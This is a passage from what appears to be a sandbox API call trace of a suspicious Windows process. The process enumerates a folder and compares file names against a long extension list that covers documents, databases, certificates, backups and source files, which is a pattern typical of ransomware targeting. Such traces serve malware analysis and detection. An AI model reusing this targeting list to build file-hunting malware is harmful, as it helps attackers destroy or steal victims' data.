(lpString=".odp") returned 4 [0086.928] lstrcmpiW (lpString1=".odp", lpString2=".xml") returned -1 [0086.928] lstrlenW (lpString=".ods") returned 4 [0086.928] lstrcmpiW (lpString1=".ods", lpString2=".xml") returned -1 [0086.928] lstrlenW (lpString=".oft") returned 4 [0086.928] lstrcmpiW (lpString1=".oft", lpString2=".xml") returned -1 [0086.928] lstrlenW (lpString=".one") returned 4 [0086.928] lstrcmpiW (lpString1=".one", lpString2=".xml") returned -1 [0086.928] lstrlenW (lpString=".onepkg") returned 7 [0086.928] lstrcmpiW (lpString1=".onepkg", lpString2="nfo.xml") returned -1 [0086.928] lstrlenW (lpString=".onetoc2") returned 8 [0086.928] lstrcmpiW (lpString1=".onetoc2", lpString2="info.xml") returned -1 [0086.928] lstrlenW (lpString=".opt") returned 4 [0086.928] lstrcmpiW (lpString1=".opt", lpString2=".xml") returned -1 [0086.928] lstrlenW (lpString=".oqy") returned 4 [0086.928] lstrcmpiW (lpString1=".oqy", lpString2=".xml") returned -1 [0086.928] lstrlenW (lpString=".orf") returned 4 [0086.928] lstrcmpiW (lpString1=".orf", lpString2=".xml") returned -1 [0086.928] lstrlenW (lpString=".p12") returned 4 [0086.928] lstrcmpiW (lpString1=".p12", lpString2=".xml") returned -1 [0086.928] lstrlenW (lpString=".p7b") returned 4 [0086.928] lstrcmpiW (lpString1=".p7b", lpString2=".xml") returned -1 [0086.928] lstrlenW (lpString=".p7c") returned 4 [0086.928] lstrcmpiW (lpString1=".p7c", lpString2=".xml") returned -1 [0086.929] lstrlenW (lpString=".pam") returned 4 [0086.929] lstrcmpiW (lpString1=".pam", lpString2=".xml") returned -1 [0086.929] lstrlenW (lpString=".pbm") returned 4 [0086.929] lstrcmpiW (lpString1=".pbm", lpString2=".xml") returned -1 [0086.929] lstrlenW (lpString=".pct") returned 4 [0086.929] lstrcmpiW (lpString1=".pct", lpString2=".xml") returned -1 [0086.929] lstrlenW (lpString=".pcx") returned 4 [0086.929] lstrcmpiW (lpString1=".pcx", lpString2=".xml") returned -1 [0086.929] lstrlenW (lpString=".pdd") returned 4 [0086.929] lstrcmpiW (lpString1=".pdd", lpString2=".xml") returned -1 [0086.929] lstrlenW (lpString=".pdf") returned 4 [0086.929] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0086.929] lstrlenW (lpString=".pdp") returned 4 [0086.929] lstrcmpiW (lpString1=".pdp", lpString2=".xml") returned -1 [0086.929] lstrlenW (lpString=".pef") returned 4 [0086.929] lstrcmpiW (lpString1=".pef", lpString2=".xml") returned -1 [0086.929] lstrlenW (lpString=".pem") returned 4 [0086.929] lstrcmpiW (lpString1=".pem", lpString2=".xml") returned -1 [0086.929] lstrlenW (lpString=".pff") returned 4 [0086.929] lstrcmpiW (lpString1=".pff", lpString2=".xml") returned -1 [0086.929] lstrlenW (lpString=".pfm") returned 4 [0086.929] lstrcmpiW (lpString1=".pfm", lpString2=".xml") returned -1 [0086.929] lstrlenW (lpString=".pfx") returned 4 [0086.929] lstrcmpiW (lpString1=".pfx", lpString2=".xml") returned -1 [0086.929] lstrlenW (lpString=".pgm") returned 4 [0086.929] lstrcmpiW (lpString1=".pgm", lpString2=".xml") returned -1 [0086.930] lstrlenW (lpString=".php") returned 4 [0086.930] lstrcmpiW (lpString1=".php", lpString2=".xml") returned -1 [0086.930] lstrlenW (lpString=".php3") returned 5 [0086.930] lstrcmpiW (lpString1=".php3", lpString2="o.xml") returned -1 [0086.930] lstrlenW (lpString=".php4") returned 5 [0086.930] lstrcmpiW (lpString1=".php4", lpString2="o.xml") returned -1 [0086.930] lstrlenW (lpString=".php5") returned 5 [0086.930] lstrcmpiW (lpString1=".php5", lpString2="o.xml") returned -1 [0086.930] lstrlenW (lpString=".phtml") returned 6 [0086.930] lstrcmpiW (lpString1=".phtml", lpString2="fo.xml") returned -1 [0086.930] lstrlenW (lpString=".pict") returned 5 [0086.930] lstrcmpiW (lpString1=".pict", lpString2="o.xml") returned -1 [0086.930] lstrlenW (lpString=".pl") returned 3 [0086.930] lstrcmpiW (lpString1=".pl", lpString2="xml") returned -1 [0086.930] lstrlenW (lpString=".pls") returned 4 [0086.930] lstrcmpiW (lpString1=".pls", lpString2=".xml") returned -1 [0086.930] lstrlenW (lpString=".pm") returned 3 [0086.930] lstrcmpiW (lpString1=".pm", lpString2="xml") returned -1 [0086.930] lstrlenW (lpString=".png") returned 4 [0086.930] lstrcmpiW (lpString1=".png", lpString2=".xml") returned -1 [0086.930] lstrlenW (lpString=".pnm") returned 4 [0086.930] lstrcmpiW (lpString1=".pnm", lpString2=".xml") returned -1 [0086.930] lstrlenW (lpString=".pot") returned 4 [0086.930] lstrcmpiW (lpString1=".pot", lpString2=".xml") returned -1 [0086.930] lstrlenW (lpString=".potm") returned 5 [0086.930] lstrcmpiW (lpString1=".potm", lpString2="o.xml") returned -1 [0086.930] lstrlenW (lpString=".potx") returned 5 [0086.931] lstrcmpiW (lpString1=".potx", lpString2="o.xml") returned -1 [0086.931] lstrlenW (lpString=".ppa") returned 4 [0086.931] lstrcmpiW (lpString1=".ppa", lpString2=".xml") returned -1 [0086.931] lstrlenW (lpString=".ppam") returned 5 [0086.931] lstrcmpiW (lpString1=".ppam", lpString2="o.xml") returned -1 [0086.931] lstrlenW (lpString=".ppm") returned 4 [0086.931] lstrcmpiW (lpString1=".ppm", lpString2=".xml") returned -1 [0086.931] lstrlenW (lpString=".pps") returned 4 [0086.931] lstrcmpiW (lpString1=".pps", lpString2=".xml") returned -1 [0086.931] lstrlenW (lpString=".ppsm") returned 5 [0086.931] lstrcmpiW (lpString1=".ppsm", lpString2="o.xml") returned -1 [0086.931] lstrlenW (lpString=".ppt") returned 4 [0086.931] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0086.931] lstrlenW (lpString=".pptm") returned 5 [0086.931] lstrcmpiW (lpString1=".pptm", lpString2="o.xml") returned -1 [0086.931] lstrlenW (lpString=".pptx") returned 5 [0086.931] lstrcmpiW (lpString1=".pptx", lpString2="o.xml") returned -1 [0086.931] lstrlenW (lpString=".prn") returned 4 [0086.931] lstrcmpiW (lpString1=".prn", lpString2=".xml") returned -1 [0086.931] lstrlenW (lpString=".ps") returned 3 [0086.931] lstrcmpiW (lpString1=".ps", lpString2="xml") returned -1 [0086.931] lstrlenW (lpString=".psb") returned 4 [0086.931] lstrcmpiW (lpString1=".psb", lpString2=".xml") returned -1 [0086.931] lstrlenW (lpString=".psd") returned 4 [0086.931] lstrcmpiW (lpString1=".psd", lpString2=".xml") returned -1 [0086.931] lstrlenW (lpString=".pst") returned 4 [0086.931] lstrcmpiW (lpString1=".pst", lpString2=".xml") returned -1 [0086.931] lstrlenW (lpString=".ptx") returned 4 [0086.932] lstrcmpiW (lpString1=".ptx", lpString2=".xml") returned -1 [0086.932] lstrlenW (lpString=".pub") returned 4 [0086.932] lstrcmpiW (lpString1=".pub", lpString2=".xml") returned -1 [0086.932] lstrlenW (lpString=".pwm") returned 4 [0086.932] lstrcmpiW (lpString1=".pwm", lpString2=".xml") returned -1 [0086.932] lstrlenW (lpString=".pxr") returned 4 [0086.932] lstrcmpiW (lpString1=".pxr", lpString2=".xml") returned -1 [0086.932] lstrlenW (lpString=".py") returned 3 [0086.932] lstrcmpiW (lpString1=".py", lpString2="xml") returned -1 [0086.932] lstrlenW (lpString=".qt") returned 3 [0086.932] lstrcmpiW (lpString1=".qt", lpString2="xml") returned -1 [0086.932] lstrlenW (lpString=".r3d") returned 4 [0086.932] lstrcmpiW (lpString1=".r3d", lpString2=".xml") returned -1 [0086.932] lstrlenW (lpString=".raf") returned 4 [0086.932] lstrcmpiW (lpString1=".raf", lpString2=".xml") returned -1 [0086.932] lstrlenW (lpString=".rar") returned 4 [0086.932] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0086.932] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x9882, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1 [0086.933] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x9882, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 0 [0086.933] FindClose (in: hFindFile=0x4260590 | out: hFindFile=0x4260590) returned 1 [0086.933] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x35d0060 | out: hHeap=0x440000) returned 1 [0086.933] FindNextFileW (in: hFindFile=0x459d20, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbc518d00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbc518d00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbc518d00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x3ef6, dwReserved0=0x0, dwReserved1=0x240000, cFileName="DHtmlHeader.html", cAlternateFileName="DHTMLH~1.HTM")) returned 1 [0086.933] FindNextFileW (in: hFindFile=0x459d20, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x159d5, dwReserved0=0x0, dwReserved1=0x240000, cFileName="DisplayIcon.ico", cAlternateFileName="DISPLA~1.ICO")) returned 1 [0086.933] FindNextFileW (in: hFindFile=0x459d20, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Extended", cAlternateFileName="")) returned 1 [0086.934] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x35d0060 [0086.934] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended") returned 30 [0086.934] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\*", lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260710 [0086.934] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.934] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2a714f00, ftCreationTime.dwHighDateTime=0x1cac6f0, ftLastAccessTime.dwLowDateTime=0x2a714f00, ftLastAccessTime.dwHighDateTime=0x1cac6f0, ftLastWriteTime.dwLowDateTime=0x2a714f00, ftLastWriteTime.dwHighDateTime=0x1cac6f0, nFileSizeHigh=0x0, nFileSizeLow=0x16c82, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1 [0086.934] lstrlenW (lpString="Parameterinfo.xml") returned 17 [0086.934] lstrlenW (lpString=".1cd") returned 4 [0086.934] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0086.934] lstrlenW (lpString=".3ds") returned 4 [0086.934] lstrcmpiW (lpString1=".3ds", lpString2=".xml") returned -1 [0086.934] lstrlenW (lpString=".3fr") returned 4 [0086.934] lstrcmpiW (lpString1=".3fr", lpString2=".xml") returned -1 [0086.934] lstrlenW (lpString=".3g2") returned 4 [0086.934] lstrcmpiW (lpString1=".3g2", lpString2=".xml") returned -1 [0086.934] lstrlenW (lpString=".3gp") returned 4 [0086.935] lstrcmpiW (lpString1=".3gp", lpString2=".xml") returned -1 [0086.935] lstrlenW (lpString=".7z") returned 3 [0086.935] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0086.935] lstrlenW (lpString=".accda") returned 6 [0086.935] lstrcmpiW (lpString1=".accda", lpString2="fo.xml") returned -1 [0086.935] lstrlenW (lpString=".accdb") returned 6 [0086.935] lstrcmpiW (lpString1=".accdb", lpString2="fo.xml") returned -1 [0086.935] lstrlenW (lpString=".accdc") returned 6 [0086.935] lstrcmpiW (lpString1=".accdc", lpString2="fo.xml") returned -1 [0086.935] lstrlenW (lpString=".accde") returned 6 [0086.935] lstrcmpiW (lpString1=".accde", lpString2="fo.xml") returned -1 [0086.935] lstrlenW (lpString=".accdt") returned 6 [0086.935] lstrcmpiW (lpString1=".accdt", lpString2="fo.xml") returned -1 [0086.935] lstrlenW (lpString=".accdw") returned 6 [0086.935] lstrcmpiW (lpString1=".accdw", lpString2="fo.xml") returned -1 [0086.935] lstrlenW (lpString=".adb") returned 4 [0086.935] lstrcmpiW (lpString1=".adb", lpString2=".xml") returned -1 [0086.935] lstrlenW (lpString=".adp") returned 4 [0086.935] lstrcmpiW (lpString1=".adp", lpString2=".xml") returned -1 [0086.935] lstrlenW (lpString=".ai") returned 3 [0086.935] lstrcmpiW (lpString1=".ai", lpString2="xml") returned -1 [0086.935] lstrlenW (lpString=".ai3") returned 4 [0086.935] lstrcmpiW (lpString1=".ai3", lpString2=".xml") returned -1 [0086.935] lstrlenW (lpString=".ai4") returned 4 [0086.935] lstrcmpiW (lpString1=".ai4", lpString2=".xml") returned -1 [0086.935] lstrlenW (lpString=".ai5") returned 4 [0086.935] lstrcmpiW (lpString1=".ai5", lpString2=".xml") returned -1 [0086.936] lstrlenW (lpString=".ai6") returned 4 [0086.936] lstrcmpiW (lpString1=".ai6", lpString2=".xml") returned -1 [0086.936] lstrlenW (lpString=".ai7") returned 4 [0086.936] lstrcmpiW (lpString1=".ai7", lpString2=".xml") returned -1 [0086.936] lstrlenW (lpString=".ai8") returned 4 [0086.936] lstrcmpiW (lpString1=".ai8", lpString2=".xml") returned -1 [0086.936] lstrlenW (lpString=".anim") returned 5 [0086.936] lstrcmpiW (lpString1=".anim", lpString2="o.xml") returned -1 [0086.936] lstrlenW (lpString=".arw") returned 4 [0086.936] lstrcmpiW (lpString1=".arw", lpString2=".xml") returned -1 [0086.936] lstrlenW (lpString=".as") returned 3 [0086.936] lstrcmpiW (lpString1=".as", lpString2="xml") returned -1 [0086.936] lstrlenW (lpString=".asa") returned 4 [0086.936] lstrcmpiW (lpString1=".asa", lpString2=".xml") returned -1 [0086.936] lstrlenW (lpString=".asc") returned 4 [0086.936] lstrcmpiW (lpString1=".asc", lpString2=".xml") returned -1 [0086.936] lstrlenW (lpString=".ascx") returned 5 [0086.936] lstrcmpiW (lpString1=".ascx", lpString2="o.xml") returned -1 [0086.936] lstrlenW (lpString=".asm") returned 4 [0086.936] lstrcmpiW (lpString1=".asm", lpString2=".xml") returned -1 [0086.936] lstrlenW (lpString=".asmx") returned 5 [0086.936] lstrcmpiW (lpString1=".asmx", lpString2="o.xml") returned -1 [0086.936] lstrlenW (lpString=".asp") returned 4 [0086.936] lstrcmpiW (lpString1=".asp", lpString2=".xml") returned -1 [0086.936] lstrlenW (lpString=".aspx") returned 5 [0086.936] lstrcmpiW (lpString1=".aspx", lpString2="o.xml") returned -1 [0086.937] lstrlenW (lpString=".asr") returned 4 [0086.937] lstrcmpiW (lpString1=".asr", lpString2=".xml") returned -1 [0086.937] lstrlenW (lpString=".asx") returned 4 [0086.937] lstrcmpiW (lpString1=".asx", lpString2=".xml") returned -1 [0086.937] lstrlenW (lpString=".avi") returned 4 [0086.937] lstrcmpiW (lpString1=".avi", lpString2=".xml") returned -1 [0086.937] lstrlenW (lpString=".avs") returned 4 [0086.937] lstrcmpiW (lpString1=".avs", lpString2=".xml") returned -1 [0086.937] lstrlenW (lpString=".backup") returned 7 [0086.937] lstrcmpiW (lpString1=".backup", lpString2="nfo.xml") returned -1 [0086.937] lstrlenW (lpString=".bak") returned 4 [0086.937] lstrcmpiW (lpString1=".bak", lpString2=".xml") returned -1 [0086.937] lstrlenW (lpString=".bay") returned 4 [0086.937] lstrcmpiW (lpString1=".bay", lpString2=".xml") returned -1 [0086.937] lstrlenW (lpString=".bd") returned 3 [0086.937] lstrcmpiW (lpString1=".bd", lpString2="xml") returned -1 [0086.937] lstrlenW (lpString=".bin") returned 4 [0086.937] lstrcmpiW (lpString1=".bin", lpString2=".xml") returned -1 [0086.937] lstrlenW (lpString=".bmp") returned 4 [0086.937] lstrcmpiW (lpString1=".bmp", lpString2=".xml") returned -1 [0086.937] lstrlenW (lpString=".bz2") returned 4 [0086.937] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0086.937] lstrlenW (lpString=".c") returned 2 [0086.937] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1 [0086.937] lstrlenW (lpString=".cdr") returned 4 [0086.937] lstrcmpiW (lpString1=".cdr", lpString2=".xml") returned -1 [0086.938] lstrlenW (lpString=".cer") returned 4 [0086.938] lstrcmpiW (lpString1=".cer", lpString2=".xml") returned -1 [0086.938] lstrlenW (lpString=".cf") returned 3 [0086.938] lstrcmpiW (lpString1=".cf", lpString2="xml") returned -1 [0086.938] lstrlenW (lpString=".cfc") returned 4 [0086.938] lstrcmpiW (lpString1=".cfc", lpString2=".xml") returned -1 [0086.938] lstrlenW (lpString=".cfm") returned 4 [0086.938] lstrcmpiW (lpString1=".cfm", lpString2=".xml") returned -1 [0086.938] lstrlenW (lpString=".cfml") returned 5 [0086.938] lstrcmpiW (lpString1=".cfml", lpString2="o.xml") returned -1 [0086.938] lstrlenW (lpString=".cfu") returned 4 [0086.938] lstrcmpiW (lpString1=".cfu", lpString2=".xml") returned -1 [0086.938] lstrlenW (lpString=".chm") returned 4 [0086.938] lstrcmpiW (lpString1=".chm", lpString2=".xml") returned -1 [0086.938] lstrlenW (lpString=".cin") returned 4 [0086.938] lstrcmpiW (lpString1=".cin", lpString2=".xml") returned -1 [0086.938] lstrlenW (lpString=".class") returned 6 [0086.938] lstrcmpiW (lpString1=".class", lpString2="fo.xml") returned -1 [0086.938] lstrlenW (lpString=".clx") returned 4 [0086.938] lstrcmpiW (lpString1=".clx", lpString2=".xml") returned -1 [0086.938] lstrlenW (lpString=".config") returned 7 [0086.938] lstrcmpiW (lpString1=".config", lpString2="nfo.xml") returned -1 [0086.938] lstrlenW (lpString=".cpp") returned 4 [0086.938] lstrcmpiW (lpString1=".cpp", lpString2=".xml") returned -1 [0086.938] lstrlenW (lpString=".cr2") returned 4 [0086.938] lstrcmpiW (lpString1=".cr2", lpString2=".xml") returned -1 [0086.938] lstrlenW (lpString=".crt") returned 4 [0086.939] lstrcmpiW (lpString1=".crt", lpString2=".xml") returned -1 [0086.939] lstrlenW (lpString=".crw") returned 4 [0086.939] lstrcmpiW (lpString1=".crw", lpString2=".xml") returned -1 [0086.939] lstrlenW (lpString=".cs") returned 3 [0086.939] lstrcmpiW (lpString1=".cs", lpString2="xml") returned -1 [0086.939] lstrlenW (lpString=".css") returned 4 [0086.939] lstrcmpiW (lpString1=".css", lpString2=".xml") returned -1 [0086.939] lstrlenW (lpString=".csv") returned 4 [0086.939] lstrcmpiW (lpString1=".csv", lpString2=".xml") returned -1 [0086.939] lstrlenW (lpString=".cub") returned 4 [0086.939] lstrcmpiW (lpString1=".cub", lpString2=".xml") returned -1 [0086.939] lstrlenW (lpString=".dae") returned 4 [0086.939] lstrcmpiW (lpString1=".dae", lpString2=".xml") returned -1 [0086.939] lstrlenW (lpString=".dat") returned 4 [0086.939] lstrcmpiW (lpString1=".dat", lpString2=".xml") returned -1 [0086.939] lstrlenW (lpString=".db") returned 3 [0086.939] lstrcmpiW (lpString1=".db", lpString2="xml") returned -1 [0086.939] lstrlenW (lpString=".dbf") returned 4 [0086.939] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0086.939] lstrlenW (lpString=".dbx") returned 4 [0086.939] lstrcmpiW (lpString1=".dbx", lpString2=".xml") returned -1 [0086.939] lstrlenW (lpString=".dc3") returned 4 [0086.939] lstrcmpiW (lpString1=".dc3", lpString2=".xml") returned -1 [0086.939] lstrlenW (lpString=".dcm") returned 4 [0086.939] lstrcmpiW (lpString1=".dcm", lpString2=".xml") returned -1 [0086.939] lstrlenW (lpString=".dcr") returned 4 [0086.939] lstrcmpiW (lpString1=".dcr", lpString2=".xml") returned -1 [0086.939] lstrlenW (lpString=".der") returned 4 [0086.940] lstrcmpiW (lpString1=".der", lpString2=".xml") returned -1 [0086.940] lstrlenW (lpString=".dib") returned 4 [0086.940] lstrcmpiW (lpString1=".dib", lpString2=".xml") returned -1 [0086.940] lstrlenW (lpString=".dic") returned 4 [0086.940] lstrcmpiW (lpString1=".dic", lpString2=".xml") returned -1 [0086.940] lstrlenW (lpString=".dif") returned 4 [0086.940] lstrcmpiW (lpString1=".dif", lpString2=".xml") returned -1 [0086.940] lstrlenW (lpString=".divx") returned 5 [0086.940] lstrcmpiW (lpString1=".divx", lpString2="o.xml") returned -1 [0086.940] lstrlenW (lpString=".djvu") returned 5 [0086.940] lstrcmpiW (lpString1=".djvu", lpString2="o.xml") returned -1 [0086.940] lstrlenW (lpString=".dng") returned 4 [0086.940] lstrcmpiW (lpString1=".dng", lpString2=".xml") returned -1 [0086.940] lstrlenW (lpString=".doc") returned 4 [0086.940] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0086.940] lstrlenW (lpString=".docm") returned 5 [0086.940] lstrcmpiW (lpString1=".docm", lpString2="o.xml") returned -1 [0086.940] lstrlenW (lpString=".docx") returned 5 [0086.940] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0086.940] lstrlenW (lpString=".dot") returned 4 [0086.940] lstrcmpiW (lpString1=".dot", lpString2=".xml") returned -1 [0086.940] lstrlenW (lpString=".dotm") returned 5 [0086.940] lstrcmpiW (lpString1=".dotm", lpString2="o.xml") returned -1 [0086.940] lstrlenW (lpString=".dotx") returned 5 [0086.940] lstrcmpiW (lpString1=".dotx", lpString2="o.xml") returned -1 [0086.940] lstrlenW (lpString=".dpx") returned 4 [0086.941] lstrcmpiW (lpString1=".dpx", lpString2=".xml") returned -1 [0086.941] lstrlenW (lpString=".dqy") returned 4 [0086.941] lstrcmpiW (lpString1=".dqy", lpString2=".xml") returned -1 [0086.941] lstrlenW (lpString=".dsn") returned 4 [0086.941] lstrcmpiW (lpString1=".dsn", lpString2=".xml") returned -1 [0086.941] lstrlenW (lpString=".dt") returned 3 [0086.941] lstrcmpiW (lpString1=".dt", lpString2="xml") returned -1 [0086.941] lstrlenW (lpString=".dtd") returned 4 [0086.941] lstrcmpiW (lpString1=".dtd", lpString2=".xml") returned -1 [0086.941] lstrlenW (lpString=".dwg") returned 4 [0086.941] lstrcmpiW (lpString1=".dwg", lpString2=".xml") returned -1 [0086.941] lstrlenW (lpString=".dwt") returned 4 [0086.941] lstrcmpiW (lpString1=".dwt", lpString2=".xml") returned -1 [0086.941] lstrlenW (lpString=".dx") returned 3 [0086.941] lstrcmpiW (lpString1=".dx", lpString2="xml") returned -1 [0086.941] lstrlenW (lpString=".dxf") returned 4 [0086.941] lstrcmpiW (lpString1=".dxf", lpString2=".xml") returned -1 [0086.941] lstrlenW (lpString=".edml") returned 5 [0086.941] lstrcmpiW (lpString1=".edml", lpString2="o.xml") returned -1 [0086.941] lstrlenW (lpString=".efd") returned 4 [0086.941] lstrcmpiW (lpString1=".efd", lpString2=".xml") returned -1 [0086.941] lstrlenW (lpString=".elf") returned 4 [0086.941] lstrcmpiW (lpString1=".elf", lpString2=".xml") returned -1 [0086.941] lstrlenW (lpString=".emf") returned 4 [0086.941] lstrcmpiW (lpString1=".emf", lpString2=".xml") returned -1 [0086.941] lstrlenW (lpString=".emz") returned 4 [0086.941] lstrcmpiW (lpString1=".emz", lpString2=".xml") returned -1 [0086.942] lstrlenW (lpString=".epf") returned 4 [0086.942] lstrcmpiW (lpString1=".epf", lpString2=".xml") returned -1 [0086.942] lstrlenW (lpString=".eps") returned 4 [0086.942] lstrcmpiW (lpString1=".eps", lpString2=".xml") returned -1 [0086.942] lstrlenW (lpString=".epsf") returned 5 [0086.942] lstrcmpiW (lpString1=".epsf", lpString2="o.xml") returned -1 [0086.942] lstrlenW (lpString=".epsp") returned 5 [0086.942] lstrcmpiW (lpString1=".epsp", lpString2="o.xml") returned -1 [0086.942] lstrlenW (lpString=".erf") returned 4 [0086.942] lstrcmpiW (lpString1=".erf", lpString2=".xml") returned -1 [0086.942] lstrlenW (lpString=".exr") returned 4 [0086.942] lstrcmpiW (lpString1=".exr", lpString2=".xml") returned -1 [0086.942] lstrlenW (lpString=".f4v") returned 4 [0086.942] lstrcmpiW (lpString1=".f4v", lpString2=".xml") returned -1 [0086.942] lstrlenW (lpString=".fido") returned 5 [0086.942] lstrcmpiW (lpString1=".fido", lpString2="o.xml") returned -1 [0086.942] lstrlenW (lpString=".flm") returned 4 [0086.942] lstrcmpiW (lpString1=".flm", lpString2=".xml") returned -1 [0086.942] lstrlenW (lpString=".flv") returned 4 [0086.942] lstrcmpiW (lpString1=".flv", lpString2=".xml") returned -1 [0086.942] lstrlenW (lpString=".frm") returned 4 [0086.942] lstrcmpiW (lpString1=".frm", lpString2=".xml") returned -1 [0086.942] lstrlenW (lpString=".fxg") returned 4 [0086.942] lstrcmpiW (lpString1=".fxg", lpString2=".xml") returned -1 [0086.942] lstrlenW (lpString=".geo") returned 4 [0086.942] lstrcmpiW (lpString1=".geo", lpString2=".xml") returned -1 [0086.943] lstrlenW (lpString=".gif") returned 4 [0086.943] lstrcmpiW (lpString1=".gif", lpString2=".xml") returned -1 [0086.943] lstrlenW (lpString=".grs") returned 4 [0086.943] lstrcmpiW (lpString1=".grs", lpString2=".xml") returned -1 [0086.943] lstrlenW (lpString=".gz") returned 3 [0086.943] lstrcmpiW (lpString1=".gz", lpString2="xml") returned -1 [0086.943] lstrlenW (lpString=".h") returned 2 [0086.943] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1 [0086.943] lstrlenW (lpString=".hdr") returned 4 [0086.943] lstrcmpiW (lpString1=".hdr", lpString2=".xml") returned -1 [0086.943] lstrlenW (lpString=".hpp") returned 4 [0086.943] lstrcmpiW (lpString1=".hpp", lpString2=".xml") returned -1 [0086.943] lstrlenW (lpString=".hta") returned 4 [0086.943] lstrcmpiW (lpString1=".hta", lpString2=".xml") returned -1 [0086.943] lstrlenW (lpString=".htc") returned 4 [0086.943] lstrcmpiW (lpString1=".htc", lpString2=".xml") returned -1 [0086.943] lstrlenW (lpString=".htm") returned 4 [0086.943] lstrcmpiW (lpString1=".htm", lpString2=".xml") returned -1 [0086.943] lstrlenW (lpString=".html") returned 5 [0086.943] lstrcmpiW (lpString1=".html", lpString2="o.xml") returned -1 [0086.943] lstrlenW (lpString=".icb") returned 4 [0086.943] lstrcmpiW (lpString1=".icb", lpString2=".xml") returned -1 [0086.943] lstrlenW (lpString=".ics") returned 4 [0086.943] lstrcmpiW (lpString1=".ics", lpString2=".xml") returned -1 [0086.943] lstrlenW (lpString=".iff") returned 4 [0086.944] lstrcmpiW (lpString1=".iff", lpString2=".xml") returned -1 [0086.944] lstrlenW (lpString=".inc") returned 4 [0086.944] lstrcmpiW (lpString1=".inc", lpString2=".xml") returned -1 [0086.944] lstrlenW (lpString=".indd") returned 5 [0086.944] lstrcmpiW (lpString1=".indd", lpString2="o.xml") returned -1 [0086.944] lstrlenW (lpString=".ini") returned 4 [0086.944] lstrcmpiW 